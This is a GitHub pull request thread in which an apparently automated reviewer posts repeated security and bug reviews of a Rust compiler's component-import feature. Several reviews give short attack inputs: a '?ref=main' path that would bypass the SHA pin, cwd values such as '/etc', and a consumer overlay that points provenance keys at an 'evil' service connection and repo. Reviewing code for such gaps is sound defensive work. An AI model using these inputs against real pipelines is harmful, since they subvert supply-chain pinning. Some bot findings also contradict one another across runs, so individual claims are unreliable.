🐛 Bugs / Logic Issues

• src/compile/imports/schema.rs:render_json_value — fallback on serialization failure produces debug output
  The unwrap_or_else(|_| sanitized.to_string()) on serde_json::to_string for Array/Object values silently falls back to the Debug representation (Array([...])) if serialization fails (e.g. a NaN float slips through the YAML→JSON conversion path). This embeds malformed text into the agent prompt/YAML body instead of failing closed. Should be anyhow::bail! / early error rather than a silent fallback.

• src/compile/imports/merge.rs:merge_map_key — non-mapping value under a collection key silently overwrites the accumulator
  If an import declares safe-outputs: null (or any non-mapping scalar under tools, mcp-servers, etc.) the guard let Value::Mapping(incoming_map) = incoming else { ... } does a wholesale insert-overwrite of whatever the accumulator already holds for that key. For safe-outputs this would silently discard all previously-accumulated custom tool definitions from earlier imports. The compile will likely fail later (wrong type), but the error message will be confusing. A targeted anyhow::bail!("imported component '{source}': collection key '{key}' must be a mapping, got ...") here would make failures self-explanatory.

⚠️ Suggestions

• src/execute.rs:resolve_custom_cwd — absolute cwd paths accepted without comment in the security model
  if cwd.is_absolute() { cwd.to_path_buf() } means a component author can direct Stage 3 execution into any path on the build agent (e.g. cwd: /etc). This is by design for the component-author-trusted model, but it is not mentioned in the security documentation for safe-outputs.scripts. A brief note in docs/safe-outputs.md / docs/imports.md ("the cwd field is trusted component-author-controlled; Stage 3 runs the entrypoint with whatever working directory the component specifies") would prevent consumers from incorrectly assuming the executor is path-sandboxed.

• src/compile/imports/mod.rs:validate_cache_segment — null-byte check absent
  owner and repo fields are validated for ., .., \, and /, but null bytes (\x00) are not checked. On Linux, Path::join with a null-byte component will produce an invalid path that fails at I/O, but the error message (OS-level) is cryptic. A value.contains('\0') guard alongside the existing checks would produce a clear diagnostic.

✅ What Looks Good

• Fail-closed endpoint routing — route_endpoint + the guard in AdoRepoFetcher::fetch (GitHub/GHE-typed import must never reach the Azure Repos fetcher) correctly prevents the source-confusion class of bug, and FetcherKind has a dedicated unit-test suite.
• Provenance stripping — stamp_component_provenance first strips all component-* keys before writing compiler-owned values; a component cannot spoof component-source, component-sha, or component-endpoint.
• {{ inputs.* }} leftover-placeholder guard — correctly catches BOTH {{ inputs.x }} and ${{ inputs.x }} (since ADO would template-process the latter). Documented clearly and covered by tests.
• Digest sidecar verification — cached manifests are verified against the .sha256 sidecar on read before being trusted at compile time. The "missing sidecar = tolerated" behaviour is a correct backward-compat choice for older caches.
• Nested import rejection — parse_manifest_bytes bails on a component that declares its own imports:, with a test case. Correct fail-closed behaviour for the deferred transitive-resolution work.
• build_input_schema closed schema — additionalProperties: false on every generated MCP tool schema is the right default; the CUSTOM_TOOL_LIMIT = 10 cap prevents unbounded schema expansion.
• Error messages — throughout custom_tools.rs, imports/mod.rs, and imports/schema.rs every error includes the full dotted path to the offending field; authors will be able to locate problems immediately.

Generated by Rust PR Reviewer for #1508 · 102 AIC · ⌖ 5.87 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: looks good overall — a large, well-structured feature with clear security thinking; a few findings worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• src/compile/agentic_pipeline.rs — generate_custom_tool_schemas called twice per compilation. build_pipeline_context (line 255) calls it to produce custom_tools_json, and custom_schema_digests (line 1590) calls it again inside collect_custom_safe_output_job_defs. Both calls traverse the same front matter unconditionally. No correctness impact — the second call receives the same input — but any validation error (duplicate tool name, invalid input type, etc.) will surface twice with different stack contexts, which can confuse diagnostics. Threading the already-computed custom_tool_schemas through to collect_custom_safe_output_job_defs (mirroring how custom_tools_json is threaded through StandaloneCtx) would eliminate the double-parse.

• src/compile/agentic_pipeline.rs:1639 — component-sha not validated as a 40-char hex SHA. parse_custom_component_runtime reads the compiler-stamped component-sha field as a raw &str with no format check. The import-resolution path correctly uses the CommitSha newtype from src/secure.rs (enforces 40-char hex via validate::validate_commit_sha). The runtime checkout-component bundle will hard-fail on a malformed SHA, but the compiler silently embeds it in generated YAML. Applying crate::validate::validate_commit_sha here keeps the invariant consistent with the import-resolution path and surfaces the error at compile time.

⚠️ Suggestions

• src/compile/agentic_pipeline.rs — custom_import_parent_diagnostic routes through eprintln!, not the structured warning channel. For a target: job/target: stage workflow importing a remote component, the user would miss this warning if stdout is captured (e.g., a CI step that processes only the YAML output). Routing through the same structured diagnostics path as other compiler warnings would make it harder to miss.

• src/compile/imports/schema.rs — build_input_schema required array order is insertion-order dependent. required elements are pushed in document order. Two logically identical schemas whose inputs: keys appear in different order produce different required arrays and thus different schema_digest values. Given that schema_digest is part of CustomExecutionRecord used for audit-provenance matching, a cosmetic key reorder in the component manifest would silently invalidate the digest without changing schema semantics. Sorting required before inserting it (like the existing names.sort() in collect_custom_safe_output_job_defs) makes the digest stable.

✅ What Looks Good

• Fail-closed routing in AdoRepoFetcher::fetch — GitHub-typed imports are hard-rejected before any lazy org resolution.
• Compiler-owned provenance stamping in the merge pass with author-provided component-* keys stripped before re-stamping is clean.
• validate_tool_name checks both the identifier character-set and the built-in name collision set.
• shell_quote applied consistently on all dynamically-constructed bash step arguments (component.sha, component.source, manifest_digest, schema_digest).
• Injective alias layout (import_<sanitized-owner>_<sanitized-repo>_<hash>) with SHA-256 suffix prevents sanitization-collision attacks.

Generated by Rust PR Reviewer for #1508 · 98.1 AIC · ⌖ 5.78 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Large, well-designed feature with solid security hardening — a few minor observations worth noting, no blocking issues.

Findings

⚠️ Suggestions

• validate_cache_segment missing character allowlist for owner/repo (src/compile/imports/mod.rs): The function blocks /, \, ., .., and empty, but does not restrict other special characters (?, #, space, %). A repo name like my-repo?evil=true would pass validation and then be interpolated into the GitHub Contents API URL by GhCliFetcher: repos/org/my-repo?evil=true/contents/... — treating ?evil=true as a query string and silently corrupting the call. Platform naming rules prevent real repos from containing ?, so it is not exploitable today, but a strict allowlist (alphanumeric + -._) would be consistent with the rest of the path-guard story.

• Consumer overlay can set component-* provenance keys (src/compile/imports/merge.rs — configure_safe_output): stamp_component_provenance strips and re-stamps component-source, component-sha, manifest-digest, component-repo-type, and component-endpoint from the component's own front matter. However, configure_safe_output (the consumer overlay path) only guards EXECUTOR_KEYS; it does not prevent the consumer from inserting these provenance keys via overlay, which runs after stamping and would override the compiler-stamped values. The docs say "compiler fully owns these keys", but the protection is one-directional (component cannot spoof → consumer can). This is likely intentional since the workflow author is trusted and can already change the imports: SHA pin directly, but the documentation framing is slightly misleading. Worth an explicit guard or a clarifying comment.

• Consumer-vs-import collision for non-safe-outputs collection sub-keys (src/compile/imports/merge.rs — overlay_consumer): The doc module header says "consumer > later import > earlier import", but for collection sub-keys outside safe-outputs (i.e., env, tools, runtimes, mcp-servers) the consumer raises a hard error if it defines a key that also appears in an import. An existing workflow that adds its first imports: entry and happens to share an env key name will get a confusing collision error. The message is actionable, but the asymmetry between scalar (consumer wins silently) and collection (hard error) semantics deserves a note in docs/imports.md under merge semantics.

• AzureReposCrossOrg.org not normalized at deserialization (src/compile/types.rs): The org field (expected to be a collection URL like https://dev.azure.com/myorg) is accepted as-is beyond a non-empty check. AdoRepoFetcher uses it verbatim as the REST base URL. Trailing-slash differences, (redacted) vs https://, or embedded extra segments can produce silent mismatches. Consider running through crate::ado::normalize_org_urlat deserialization time — the same normalization applied toAZURE_DEVOPS_ORG_URL/SYSTEM_COLLECTIONURIinado_org_url_from_env`.

✅ What Looks Good

• Path traversal guards are thorough: both resolve_local_path (local) and validate_import_path_segments + validate_cache_segment (remote) reject .., ., empty segments, and backslashes. cache_path() is called before any fetcher, so segment validation gates all network and filesystem access.
• Fail-closed fetcher routing: route_endpoint is a pure function with unit tests; AdoRepoFetcher::fetch has a hard bail! at entry if it receives a GitHub-typed spec. The routing can never silently fall back across source types.
• Provenance stamping is correctly ordered: strip-then-stamp happens before merge_import_into_acc, so a component cannot inject a forged component-endpoint or component-sha into its own accumulated state.
• \{\{ inputs.* }} delimiter hygiene: substitute_inputs correctly leaves $\{\{ ... }} untouched; find_input_placeholder_leak also catches $\{\{ inputs.x }} leaks to prevent ADO template re-processing in emitted YAML — this is a subtle but important footgun that's been handled correctly.
• Executor key guard in configure_safe_output: consumers can overlay metadata but not redefine run/steps/env/inputs/entrypoint. A scalar consumer value for an imported safe-output (which would silently wipe the imported executor) is correctly rejected too.
• run_custom_entrypoint stdin/stdout deadlock avoidance: tokio::spawn for stdin write concurrent with wait_with_output is the correct pattern; the comment explains the tradeoff clearly.
• CommitSha newtype for SHA pins: the 40-hex-character constraint is enforced at deserialization, not buried in ad-hoc string checks downstream.
• Custom tool limit + additionalProperties: false: the 10-tool cap and closed schemas are enforced at compile time in generate_custom_tool_schemas; the MCP server cannot be tricked into accepting undeclared inputs from agents.
• Test coverage: the four-target acceptance matrix, endpoint-routing unit tests, delimiter/leftover-guard, provenance-spoofing guard, and the merge_resolved test seam all make the key invariants machine-checkable.

Generated by Rust PR Reviewer for #1508 · 146.2 AIC · ⌖ 5.96 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-architected feature — a few minor robustness and defense-in-depth suggestions, nothing blocking.

Findings

⚠️ Suggestions

• src/execute.rs — read_component_results bails on any unknown proposal_id

  When the post-phase result file contains a line with an unknown proposal_id (e.g. a component bug that emits an extra record, or a typo), the function bails immediately and all custom results for that tool are discarded — none of them make it to the execution record. Since this runs in Stage 3 after the Detection gate has already approved the proposals, a strict bail is more punishing than it needs to be. A warn! + skip for unrecognised IDs would preserve the successfully-matched results while still surfacing the anomaly in logs.

  // Current: one bad line nukes all results
  if !attempted_ids.contains(&line.proposal_id) {
      anyhow::bail!("Custom result references unknown proposal_id '{}'", ...);
  }

  The duplicate-ID check (results.insert(...).is_some() → bail) is correct to keep strict — that guards against a component lying about which proposal it handled.

• src/execute.rs — run_custom_entrypoint has no per-tool process timeout

  child.wait_with_output().await blocks until the child exits. A hanging entrypoint holds the ADO job until the job-level timeoutInMinutes fires (typically 60 min), which wastes pool capacity and prevents the execution record from being written. A tokio::time::timeout wrapper (e.g. 5 min, or configurable via a timeout-minutes key on the tool definition) would let the executor emit a failed record and continue.

• src/compile/imports/mod.rs::validate_cache_segment — control characters not rejected

  Owner and repo names are allowed to contain any character except empty, ., .., \, /. Null bytes (\0) and other ASCII control characters would be accepted today. On most OSes Path::join will include them, which can silently produce misleading paths or corrupt the digest sidecar name. A !value.bytes().all(|b| b.is_ascii_graphic()) guard would close this gap with minimal friction (git hosting providers already enforce printable names, so this rejects nothing legitimate).

✅ What Looks Good

• Fail-closed endpoint routing: RoutingFetcher hard-rejects GitHub/GHE-typed specs in AdoRepoFetcher before any lazy auth resolution — the source-confusion class of bug is structurally impossible.
• Tamper-detection on committed cache: the .sha256 digest sidecar checked at read_remote_manifest time is a solid supply-chain control. Missing sidecar (pre-feature cache) is gracefully tolerated.
• Provenance stamping: parse_custom_component_runtime reads compiler-owned keys, and the merge pass strips author-supplied component-* values before stamping — an imported component cannot redirect its own checkout.
• Path traversal: both resolve_local_path (local imports) and validate_import_path_segments (remote cache layout) guard against .././empty segments and backslashes. CommitSha is a 40-hex newtype so it's safe as a directory name.
• Schema generation: additionalProperties: false on all custom tool input schemas and the collision check against ALL_KNOWN_SAFE_OUTPUTS are correct.
• Script output handling: sanitize() is applied to stderr/stdout detail before it reaches ExecutionResult messages; child stdout is fully captured (Stdio::piped) so a noisy entrypoint can't inject ##vso[ commands via ADO task logging.
• Detection gate: every Custom_ job conditions on threatAnalysis.SafeToProcess == true AND a per-tool HasCustom_<tool> == true output — the custom executor never runs unless Detection explicitly cleared the specific tool's proposals.

Generated by Rust PR Reviewer for #1508 · 133.2 AIC · ⌖ 5.9 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Large, well-structured feature — the trust model and provenance design are sound, but several hardening gaps need addressing before merge, including one that allows bypassing the SHA-pin security model entirely.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/imports/merge.rs — executor guard bypassed by non-mapping consumer value
  merge_map_key returns early with an unconditional acc.insert whenever incoming is not a Mapping (e.g., safe-outputs: ~). This return happens before the MergeSide::Consumer / configure_safe_output executor guard is reached. A consumer YAML like safe-outputs: ~ would silently replace the entire imported safe-outputs section, deleting all custom executor definitions. The guard is also skipped for other collection keys (tools, env, runtimes). The consumer-wins check should be applied regardless of whether the incoming value is a mapping.

• src/compile/custom_tools.rs — ensure! fires after push, not before
  schemas.push(...) at line ~61 runs before ensure!(schemas.len() <= CUSTOM_TOOL_LIMIT, ...) at line ~67. When the 11th schema is pushed, schemas.len() is 11, the ensure fires correctly, and Err is returned (so callers never see the 11th entry). The limit is enforced, but the error message reads "must be <= 10" after 11 items have been collected — checking before the push or using < CUSTOM_TOOL_LIMIT is clearer and avoids future confusion.

• src/compile/imports/schema.rs — ${{ inputs.x }} produces confusing compile error
  substitute_inputs intentionally skips the ${{ inputs.x }} (dollar-prefixed) form. The leak guard find_input_placeholder_leak does not skip it. Authors familiar with ADO ${{ }} syntax who write ${{ inputs.myInput }} will receive a hard error "no input named myInput" instead of a helpful "use {{ inputs.myInput }} without the leading $". The error message should distinguish this case.

---

🔒 Security Concerns

• src/compile/imports/mod.rs:57-62 — SHA-pin bypass via ? / # injection in GhCliFetcher ⚠️ High severity
  validate_import_path_segments rejects .., ., empty segments, and \, but does not reject ? or #. An import path like pkg/lib.md?ref=main passes validation and is interpolated verbatim into the gh api route:

  repos/owner/repo/contents/pkg/lib.md?ref=main?ref=<pinned-sha>
  

  Most HTTP clients use the first ?ref= value, so the pinned SHA is silently ignored and an attacker-controlled ref is fetched. This defeats the core security guarantee of SHA-pinned imports. Fix: add ? and # to the reject list in validate_import_path_segments.

• src/compile/imports/mod.rs:483-494 — Digest sidecar silently skipped on I/O errors

  if let Ok(expected) = fs::read_to_string(&sidecar) { /* verify */ }
  // else: silently skips the check

  fs::read_to_string returns Err for both "sidecar absent" (tolerated, for older caches) and "sidecar unreadable" (e.g., replaced with a directory, wrong permissions). An attacker who tampers with the cache file can simultaneously break the sidecar to cause an I/O error, causing the tampered bytes to pass the check unchallenged. Fix: distinguish NotFound (skip) from other errors (hard-fail):

  match fs::read_to_string(&sidecar) {
      Ok(expected) => { /* verify */ }
      Err(e) if e.kind() == io::ErrorKind::NotFound => {}
      Err(e) => return Err(e).context("failed to read import digest sidecar"),
  }

• src/compile/imports/mod.rs:553 — spec.sha used as path component without validate_cache_segment
spec.owner and spec.repo are passed through validate_cache_segment before being joined as path components. spec.sha.as_str() is joined directly without the same check. CommitSha should enforce 40-char hex at parse time (making this safe in practice), but a defence-in-depth call to validate_cache_segment("sha", spec.sha.as_str())? is appropriate here given it's a security boundary.

• src/execute.rs — resolve_custom_cwd accepts absolute paths and un-canonicalized relative paths

  fn resolve_custom_cwd(config_dir: &Path, cwd: &Path) -> PathBuf {
      if cwd.is_absolute() { cwd.to_path_buf() }   // accepts /etc, /root
      else { config_dir.join(cwd) }                  // ../../../../ not checked
  }

  cwd comes from the compiler-generated --custom-config JSON. Even though that file originates from compile time, a malicious imported component could embed "cwd": "/etc" or "cwd": "../../../../sensitive". Since Stage 3 runs with a write-capable ADO token, this is a meaningful risk. Fix: restrict cwd to a relative sub-path within config_dir and call canonicalize() + verify the result is prefixed by config_dir.

• src/mcp_custom_tools.rs:54-60 — additionalProperties: false not re-validated on load
  load_custom_tool_defs deserialises without verifying input_schema contains "additionalProperties": false. The compiler always writes closed schemas, but a tampered or hand-crafted custom-tools.json file (e.g., from a compromised supply-chain artifact) would register an open schema that accepts arbitrary agent-supplied inputs unchecked by MCP. The loader should assert this invariant at startup.

• src/mcp_custom_tools.rs:91-94 — Silent data loss on append_custom_proposal failure

  if let Err(e) = append_custom_proposal(...).await {
      warn!("Failed to record custom safe-output proposal '{tool_name}': {e:#}");
  }
  Ok(CallToolResult::success(vec![]))   // agent sees success; proposal silently dropped

  The agent receives a success response but the proposal is never written — the safe-output action is silently lost. This should return an MCP error result so the agent knows the action was not recorded.

---

⚠️ Suggestions

• src/execute.rs:251 — .expect() in production code path

  let (executed, max) = budgets
      .get_mut(tool_name)
      .expect("budget map is initialized from config tools");

  tool_name here comes from the safe-output NDJSON file (agent-written). If the name is missing from the budget map (Unicode normalisation difference, case mismatch, or concurrent modification), the executor process panics rather than returning a graceful error. Replace with ok_or_else(|| anyhow!(...)) and propagate with ?.

• src/compile/imports/mod.rs — validate_cache_segment null-byte gap
  The function rejects /, \, ., .., and empty but not null bytes (\0). On Linux, a null byte in a path component can cause unexpected behaviour at the OS syscall level. Adding a null-byte reject is cheap defence-in-depth.

---

✅ What Looks Good

• The three-stage Agent → Detection → privileged executor trust model is correctly preserved: compiler-owned component-* provenance keys are stripped from imported front matter before stamping, preventing a component from spoofing its own checkout or injecting a service connection.
• The injective cache path layout (full directory segments preserved, not flattened) and the SHA-keyed directory correctly prevents a/b.md / a_b.md collisions.
• Transitive/nested import rejection is fail-loud (hard compile error) — no silent recursion.
• fail-closed routing between Azure Repos and GitHub fetchers is correctly typed with no silent fallback.
• {{ inputs.* }} substitution correctly hard-errors on unresolved placeholders (so unsubstituted markers never reach pipeline YAML output).
• Custom tool schemas use additionalProperties: false at generation time — the compile-time enforcement is solid.

Generated by Rust PR Reviewer for #1508 · 165.9 AIC · ⌖ 6.39 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Large, well-structured feature — security model is sound and error handling is thorough. A few items worth flagging before merge.

Findings

⚠️ Suggestions

• src/compile/imports/mod.rs — markdown_heading only recognizes H1/H2 (!(level == 1 || level == 2)): extract_markdown_section will fail with "section was not found" for any section: import referencing an H3–H6 heading. If this is intentional, it should be documented in docs/imports.md; otherwise the guard should be level < 1 || level > 6.

• src/compile/imports/schema.rs — find_input_placeholder_leak does not skip $-preceded {{: This is documented as intentional (to catch ${{ inputs.x }} misuse), but it means import components cannot use ADO template expressions in any namespace that starts with inputs. — a silent footgun if consumers ever use an inputs ADO template variable. The error message already has a good hint, but the docs should call this out explicitly.

• src/compile/imports/mod.rs — validate_cache_segment only guards traversal, not illegal OS chars: Owner/repo names containing NUL bytes, Windows reserved device names (CON, PRN, AUX), or trailing dots/spaces will create cache paths that may behave unexpectedly on Windows. A simple allowlist (ASCII alphanumeric + -, _, . excluding leading .) would close this.

• src/execute.rs — entrypoint passes directly to sh -c / cmd /C: The entrypoint is compiler-generated from the author's front matter (trusted), not agent-controlled, so this is acceptable. However, a comment at the call site would make the trust boundary explicit for future reviewers, since it looks superficially like shell injection.

✅ What Looks Good

• Fail-closed fetcher routing: AdoRepoFetcher asserts GitHub endpoints can never reach it, and RoutingFetcher is the single dispatch point — eliminates the source-confusion class of bug cleanly.
• name field always wins in append_custom_proposal: The compiler-owned tool_name is inserted after merging agent arguments, so an agent cannot spoof the tool name in proposal records.
• Injective cache path layout: Directory structure preservation (not flattening / → _) correctly prevents a/b.md vs a_b.md collisions, and the .sha256 sidecar tamper-detection is a nice defense-in-depth layer.
• Leftover-placeholder guard is fail-closed: Unresolved {{ inputs.* }} after substitution is a hard compile error, preventing partial expansions from leaking into pipeline YAML.
• additionalProperties: false on all generated schemas: Correctly prevents agents from injecting unexpected fields into custom tool proposals.

Generated by Rust PR Reviewer for #1508 · 74 AIC · ⌖ 5.72 AIC · ⊞ 6.3K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Large, well-structured feature — strong security hardening overall, but one gap in the provenance-protection model needs attention before merge.

Findings

🔒 Security Concerns

• src/compile/imports/merge.rs — configure_safe_output: The function guards against consumers redefining executor keys (steps, env, inputs, run, entrypoint) but does not block consumer overrides of the compiler-owned provenance keys (component-source, component-sha, manifest-digest, component-repo-type, component-endpoint). A consumer workflow can currently write:

  safe-outputs:
    scripts:
      imported-tool:
        component-endpoint: evil-service-connection
        component-source: evil-org/evil-repo/evil.md

  ...and that overlay would survive configure_safe_output and win over the compiler-stamped provenance. The runtime executor would then check out from the consumer-supplied endpoint/source rather than the compiler-verified one. The PR design intent is clear ("the compiler fully owns these keys"), the stripping in stamp_component_provenance correctly covers the component side, but the consumer overlay path is unguarded.

  Fix: add a provenance-key block to configure_safe_output (parallel to the existing executor-key check), and add a companion test analogous to consumer_redefining_safe_output_executor_errors.

⚠️ Suggestions

• src/execute.rs ~line 247 — expect("budget map is initialized from config tools"): the continue on the preceding config.tools.get(tool_name) miss already skips entries absent from the config, so the budget map get_mut is always guaranteed to hit. The invariant holds but isn't self-evident from the structure. Consider fusing the two lookups (single config.tools.get → also index budget map) to eliminate the dependency entirely.

• src/compile/imports/mod.rs — validate_cache_segment: the guard blocks /, \, empty, ., .. but not null bytes (\0). On Linux a null byte in a path causes EINVAL (not silent success), so it's not exploitable, but an explicit value.contains('\0') check would make the validation self-documenting.

✅ What Looks Good

• Fail-closed fetcher routing: RoutingFetcher + the redundant internal guard in AdoRepoFetcher::fetch make it structurally impossible for an Azure-Repos-intended import to be silently served by GhCliFetcher. Very clean.
• SHA-sidecar digest verification: cache-tamper detection on top of SHA-pinned imports is a good defense-in-depth layer.
• Provenance stamping on the component side: stamp_component_provenance correctly strips all PROVENANCE_KEYS from the component's own front-matter before stamping — the component-spoofing threat is well-covered.
• Closed JSON schemas: additionalProperties: false on every generated custom-tool schema is the right default.
• Budget enforcement + proposal-id validation in execute_custom_post / read_component_results: unknown proposal_ids are hard-bailed and duplicates are caught. Solid.
• custom_status_to_outcome catch-all prevents an unknown status string from silently succeeding.
• Non-mapping consumer overlay guard in configure_safe_output: rejecting notify: null/scalar that would wipe the imported executor is a good catch with thorough test coverage.

Generated by Rust PR Reviewer for #1508 · 109.7 AIC · ⌖ 5.85 AIC · ⊞ 6.3K · ◷

[jamesadevine]

/azp run ado-aw candidate compiler smoke

[azure-pipelines]

Azure Pipelines:
Successfully started running 1 pipeline(s).

[github-actions]

🔍 Rust PR Review

Summary: Large, well-structured feature — overall solid. Two issues worth addressing before merge: a missing process timeout and a potential path-escape in the custom-cwd resolver.

---

Findings

🐛 Bugs / Logic Issues

• src/execute.rs — run_custom_entrypoint has no process timeout. child.wait_with_output().await will block indefinitely if the custom entrypoint hangs or deadlocks. A misbehaving component script will stall the Stage-3 job until the outer ADO job timeout fires (which can be tens of minutes). A tokio::time::timeout wrapping the wait_with_output call — with a reasonable upper bound — would give prompt, actionable feedback instead of a silent hang.

• src/compile/imports/mod.rs — markdown_heading only recognises H1/H2 (level == 1 || level == 2). An H3+ heading inside an extracted section does not terminate the section, so extract_markdown_section will silently include H3+ subsections of the adjacent sibling when two top-level sections are near each other. If H1/H2-only boundary is intentional for section: imports, a comment explaining the design would help; if H3+ should also terminate extraction the guard needs expanding.

🔒 Security Concerns

• src/execute.rs — resolve_custom_cwd accepts absolute paths without bounds-checking. The cwd field originates from a compiler-generated config JSON and is therefore author-controlled. An author who sets cwd: /etc (or any arbitrary absolute path) will run the component entrypoint there with the Stage-3 write token active. Local import paths are rejected when absolute (resolve_local_path), but the cwd path goes through unguarded. Given Stage 3 runs trusted author-provided steps this is likely acceptable in principle, but the asymmetry is surprising and a comment documenting the design decision (or a guard matching resolve_local_path) would remove ambiguity.

⚠️ Suggestions

• src/execute.rs — read_component_results drops the proposal ID from the duplicate-record error. anyhow::bail!("Duplicate custom result record for proposal_id") omits the actual ID, making post-run debugging harder. sanitize(&line.proposal_id) is already in scope.

• src/compile/imports/merge.rs — overlay_consumer passes a throwaway Default::default() provenance map. The provenance map is only meaningful for import-vs-import collision detection; the consumer overlay path never uses it. A named let mut _unused_provenance = Default::default(); or a refactored signature (separate the two call sites) would make the intent clearer and avoid the allocation.

✅ What Looks Good

• The provenance-stamping / spoofing-guard design is clean: the compiler strips then re-stamps component-* keys unconditionally, so a component author cannot inject a forged service-connection name or redirect the checkout SHA. The local vs. remote split is explicit.
• validate_import_path_segments + validate_cache_segment are thorough and mirror each other, preventing path-traversal in the committed import cache (the non-injective flattening issue noted in the code comment is correctly avoided).
• The {{ inputs.* }} leftover-placeholder guard is applied to both front matter and body after substitution, ensuring no leaked placeholder can reach pipeline YAML or the agent prompt.
• The ManifestFetcher routing is fail-closed: an Azure-Repos-intended import can never silently fall back to the GitHub fetcher and vice-versa.
• The digest sidecar verification on cached manifests is solid defense-in-depth against committed-cache tampering.

Generated by Rust PR Reviewer for #1508 · 105.4 AIC · ⌖ 5.86 AIC · ⊞ 6.3K · ◷

[jamesadevine]

/azp run ado-aw candidate compiler smoke

[azure-pipelines]

Azure Pipelines will not run the associated pipelines, because the pull request was updated after the run command was issued. Review the pull request again and issue a new run command.